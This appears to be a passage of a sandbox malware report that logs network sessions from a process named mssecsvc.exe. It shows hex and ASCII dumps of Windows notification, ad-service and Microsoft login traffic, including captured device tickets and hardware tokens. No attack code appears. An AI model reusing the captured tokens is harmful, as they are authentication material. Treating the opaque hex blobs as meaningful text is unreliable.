2022-07-21 02:34:52 UTC	8787	IN	Data Raw: 0f 03 56 d2 78 a5 0c 1b 93 72 eb f1 aa 8a df 2e 47 12 c8 35 f0 a6 7a 57 33 68 6b 1e 36 e1 6a 6a e6 85 08 b5 0a a3 10 b7 b3 52 40 48 36 35 8f 0f 1a 4b 76 42 42 8d 2e be 06 a8 46 40 23 85 06 67 1e 42 46 c6 e0 35 a5 19 d8 3a 8d e8 c4 68 6f 60 05 24 bb 34 01 4a 39 ff 00 7d 22 95 47 13 0a 46 b9 5b 91 a7 e8 15 16 b3 ea b3 34 32 e2 e4 74 27 1b c5 ae 08 d5 75 a4 73 2c 08 ba 95 29 bb 6d fc 0f 03 6a d2 1c 89 72 a6 c6 3a 69 54 da 56 45 f7 5c 78 52 31 92 33 28 df b6 c1 6f 73 41 6e 38 09 b6 a3 4a 65 43 72 8c c0 78 f1 14 18 eb b6 51 b1 8e 83 85 09 0e 55 55 14 2a 79 0a 28 ed ab ea 3c 29 aa d7 49 0a 0d 8d a9 87 d2 4c 5e ce a4 6b c6 91 b5 b8 5e 91 3f ff d3 87 95 dd 23 ca ca 49 b1 d4 a4 08 81 1b 70 f3 ff 00 d4 af 3e b8 27 39 0d f7 49 8e 36 22 dc a8 52 46 d0 be 00 79 29 54 Data Ascii: Vxr.G5zW3hk6jjR@H65KvBB.F@#gBF5:ho`$4J9}"GF[42t'us,)mjr:iTVE\xR13(osAn8JeCrxQUU*y(<)IL^k^?#Ip>'9I6"RFy)T
2022-07-21 02:34:52 UTC	8803	IN	Data Raw: 3a 35 0f 97 bc cd 7d 63 1e 5b 7a b9 aa 59 dd fc 18 6c ce da 21 63 04 4f 14 a9 fb bb 10 54 8f 74 fe a6 a4 9f 5e b5 0b 39 d6 59 04 8a 00 bd b7 56 91 d1 c9 59 6c ed ca 29 ab e0 47 bc 76 53 c6 82 9e 4c e3 e4 94 0c a5 6e ac 2d 7f 85 24 f5 04 c5 ca 58 e4 8c e4 83 24 71 12 42 fd 34 15 9f a3 e9 32 8e 44 a6 4d 6e da 7f 47 a5 6a 70 7a e4 62 2e ac b2 74 17 cc c7 5b f8 51 4e fc 6a 86 64 3d 25 22 06 b3 01 66 00 f9 ed f3 54 b3 9f 3e 58 c2 c8 03 49 07 0e 1f 45 3c 55 ff 00 05 3c 45 c3 2c c6 45 ea 6e 60 02 93 6d a3 d6 dd 4a 94 dd 8c e2 76 ac 19 73 92 e1 db 1d 83 6b fa 3c bb f6 d2 b4 ba ee fa ba f8 22 18 9a 62 18 3c 47 ef 15 ac 56 df 5f df 53 13 ba 06 e4 cf 89 98 84 5b 5a de e1 f2 2f 35 33 cf 5a 63 ad 1b ab c0 d1 c8 d2 a5 89 90 b5 8a 5b e5 a5 f0 9c fc ff 00 48 33 44 71 96 Data Ascii: :5}c[zYl!cOTt^9YVYl)GvSLn-$X$qB42DMnGjpzb.t[QNjd=%"fT>XIE<U<E,En`mJvsk<"b<GV_S[Z/53Zc[H3Dq
2022-07-21 02:34:52 UTC	8819	IN	Data Raw: bf e8 a4 b3 0e 64 95 ee 96 3a 8d 0d 23 36 a0 ee b5 bf 4d 4a 68 a8 82 d7 02 d7 3e 14 11 57 5d b6 37 20 03 a5 04 3e ad 69 14 5b 4b 5e 92 85 9a 19 76 ab db 89 e3 fa 68 32 e7 cf b5 8f 97 8d a9 98 91 92 06 86 d6 f8 54 d3 65 50 f0 26 df 4d 06 d7 4c b1 da 0d bc 45 06 e4 01 df 87 f5 d0 91 ba 46 39 1a fa d2 01 e4 65 85 3c e3 72 df fa 6d 44 82 a4 f7 ac 74 9e 13 16 3b 10 35 25 58 f1 3e 9d b5 af 0c 7b 9b 1e 48 63 4b 90 76 c6 b7 6f ff 00 2a ea 8e 1b ce 0a 21 6b b8 99 b6 6c 17 db c7 71 a1 8f 53 03 8a 17 c9 76 dc 2d 75 26 e3 c2 d5 71 8f 57 01 c7 85 53 20 42 cd c9 ea 6f a2 ab 53 7e 03 88 9d c5 4f 90 5c d2 d1 59 1b 9d 89 7d 41 ff 00 75 04 6d 25 e8 a9 05 54 a8 d7 5f a2 84 59 ac 7e 36 3e a8 c8 84 14 16 b5 b8 ed 3e e4 a6 9f 5f 18 d7 23 1d e6 43 d4 b7 ab 85 24 fc 31 3b 2c f1 Data Ascii: d:#6MJh>W]7 >i[K^vh2TeP&MLEF9e<rmDt;5%X>{HcKvo*!klqSv-u&qWS BoS~O\Y}Aum%T_Y~6>>_#C$1;,

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	50824	20.199.120.151	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:56 UTC	8822	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 36 66 39 31 30 37 35 33 31 62 63 38 36 35 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 36f9107531bc865a
2022-07-21 02:34:56 UTC	8822	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:34:56 UTC	8822	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 36 66 39 31 30 37 35 33 31 62 63 38 36 35 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 36f9107531bc865a<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:34:56 UTC	8823	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 36 66 39 31 30 37 35 33 31 62 63 38 36 35 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 36f9107531bc865a
2022-07-21 02:34:56 UTC	8823	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:34:56 UTC	8823	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 32 2f 30 58 58 34 6d 4d 6b 2b 72 32 78 78 6c 54 6e 59 58 65 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: g2/0XX4mMk+r2xxlTnYXeQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	50855	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:57 UTC	8824	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 34 61 65 62 39 65 35 66 31 66 62 35 34 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 8c4aeb9e5f1fb541
2022-07-21 02:34:57 UTC	8824	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:34:57 UTC	8824	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 34 61 65 62 39 65 35 66 31 66 62 35 34 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 8c4aeb9e5f1fb541<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:34:57 UTC	8825	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 34 61 65 62 39 65 35 66 31 66 62 35 34 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 8c4aeb9e5f1fb541<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-21 02:34:57 UTC	8825	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:34:57 UTC	8825	IN	Data Raw: 4d 53 2d 43 56 3a 20 48 4c 59 4d 65 39 61 76 6a 6b 6d 58 5a 6a 35 37 61 4c 57 4f 7a 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: HLYMe9avjkmXZj57aLWOzw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	51495	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:18 UTC	8825	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220721T113517Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=54d84b3c19aa4e15bba4e2514f6b45c1&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1612301&metered=false&nettype=ethernet&npid=sc-310091&oemName=vtesnt%2C%20Inc.&oemid=vtesnt%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=vtesnt7%2C1&tl=2&tsu=1612301&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQZx/CfZMzWMR48Mi4HTLmtbZz4wzec82cvGKwQRlkq6KnvWaurjtanfeahrbSNX1KRAJTsO+QyRhIUPPETp7SjRygtQe0a8g/RnLIGQEE0ZcjGHk7SXo8Y3/MfqU0VYPt3WtmKinkbPp/gcnm34luTSTiD5EXt7mnMRZUClVwF0XGH3+7yftaX36EC67xAomKatOF1jwqCcQxMXPGn4ZU4CAGNyK55hyFcIFAqykcvh6CuyahHw+lVB1DM4IZl8PWn5u7weHtww4vyAy8jLJX5MkkcmuTW2L3oPtLisZHz+Gn4qS46unZzmoufvbEriLHmpSZnwIGTo/Hp01M+PP1ADZgAACNwkOdPOI45wqAHsK0JsbW+vfhVyRG5/sM3b9wljRt5oYm91uPT4HT7c/J7Wp9nnF6y5DKAq6GkHPLe4rjmcjJ2SPDpwtbm087CnFMr7R3sdySoRrTfO0lMYm3b6CDci0uTd1u1gKZNe6bAaniOcZOKFTdx6Pq1o+QcQPIJT6sr5/h0py0FcbshKsF8/qKzaM0+50OxQU2MLGqcwozQJyeNNriVWBJUVNW+mW4rX4v9hZEN8J28h0xVGrjoi8ipFi2ZcB7kvEPIhobY//rl1SoD78zH0wndYBtSxpySloZ5lRv2ZDRk5uA4D7Pf/FtYkAn4tdYTo/+4CaV04iRJ8dP5j4Gs6dEcueSlswE160aT+3vu3wF25PTm07NsSldRTq12kyyg5MUn/EqbWXe6sg7cLKfnAY60p0BzTIWBWQfvxQ71L4+bbtQyA90p8079byx5P2g6OqJioP5ZTE5B/n7fSicxQErQgMRhujT1ROMj8LQgeMrXkSsXHwymtldF8iZBj/YEfvtxAW/lYIKsENnU0SAt+/nHSE3olJxmi2H/rRzaPO3ti1We5HAYSCjv0m+q/1gE=&p= Cache-Control: no-cache MS-CV: 83Lf3wQPPUaCBYTY.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-21 02:35:18 UTC	8827	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: C0QGaytrTA5elOS+ZdDN8Ei25I3mKMf1yino+Mwp0JPbs5LMDT1MpZioXgo4KGORL9qODfwSiCgrTKtMSVMxfV8PmVmRWBwIGBGZRChIdpQtsmvCLQ5l5theq4HFFFfvXC6h7UShVHqsoYL0lOBeT627aCX8DGCWUQz4VqwGUkNldhhtu76CKsbOnlb1h9uOuHpUU9C+wjiENasW1wNFME6+hf2B2mgvGmQYAm91eof7HkgSEUZW/S+0D/C2QxrhXf+kw/k0YBHxY99ilALORSlcH1d9jKPpDyln2dCHTrSlmYX0H5IOQFk55k+OcNiWOaWXOScYzyJ/vnNCyi9Xew== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Jul 2022 02:35:18 GMT Connection: close
2022-07-21 02:35:18 UTC	8828	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 31 54 30 36 3a 33 35 3a 31 38 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-21T06:35:18"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	51580	20.199.120.151	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:20 UTC	8828	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 33 65 36 35 64 31 61 61 65 33 34 35 66 32 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 63e65d1aae345f22
2022-07-21 02:35:20 UTC	8828	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:35:20 UTC	8828	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 33 65 36 35 64 31 61 61 65 33 34 35 66 32 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 63e65d1aae345f22<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:35:20 UTC	8829	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 33 65 36 35 64 31 61 61 65 33 34 35 66 32 32 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 63e65d1aae345f22
2022-07-21 02:35:20 UTC	8829	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:35:20 UTC	8829	IN	Data Raw: 4d 53 2d 43 56 3a 20 51 45 4a 33 31 4c 4d 66 68 55 4f 31 77 5a 64 4b 6f 53 6b 33 56 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: QEJ31LMfhUO1wZdKoSk3VQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	51713	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:24 UTC	8830	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 2785 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-21 02:35:24 UTC	8830	OUT	Data Raw: 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 54 49 44 3d 37 30 30 33 34 32 30 38 35 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 33 39 32 37 32 39 26 42 49 44 3d 31 35 30 35 32 39 38 35 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 51 38 26 54 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 52 45 51 41 53 49 44 3d 43 43 30 35 30 43 35 33 46 30 32 37 34 35 38 31 42 44 45 31 35 46 43 36 37 45 30 31 34 36 43 36 26 41 53 49 44 3d 38 65 31 64 33 34 36 31 31 35 64 35 34 62 38 32 62 31 32 33 36 38 38 35 35 34 38 38 63 64 66 33 26 54 49 4d 45 3d 32 30 32 32 30 37 32 31 54 31 31 33 34 34 39 5a 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 37 32 31 54 30 32 33 33 33 35 26 4d 41 5f 53 63 6f 72 65 3d 32 26 4c 4f 43 41 4c 49 44 3d 77 3a Data Ascii: PID=425106558&TID=700342085&CID=128000000001392729&BID=150529851&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=CC050C53F0274581BDE15FC67E0146C6&ASID=8e1d346115d54b82b12368855488cdf3&TIME=20220721T113449Z&SLOT=2&REQT=20220721T023335&MA_Score=2&LOCALID=w:
2022-07-21 02:35:24 UTC	8833	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Jul 2022 02:35:24 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	50184	40.126.31.67	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:21 UTC	72	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4740 Host: login.live.com
2022-07-21 02:34:21 UTC	72	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
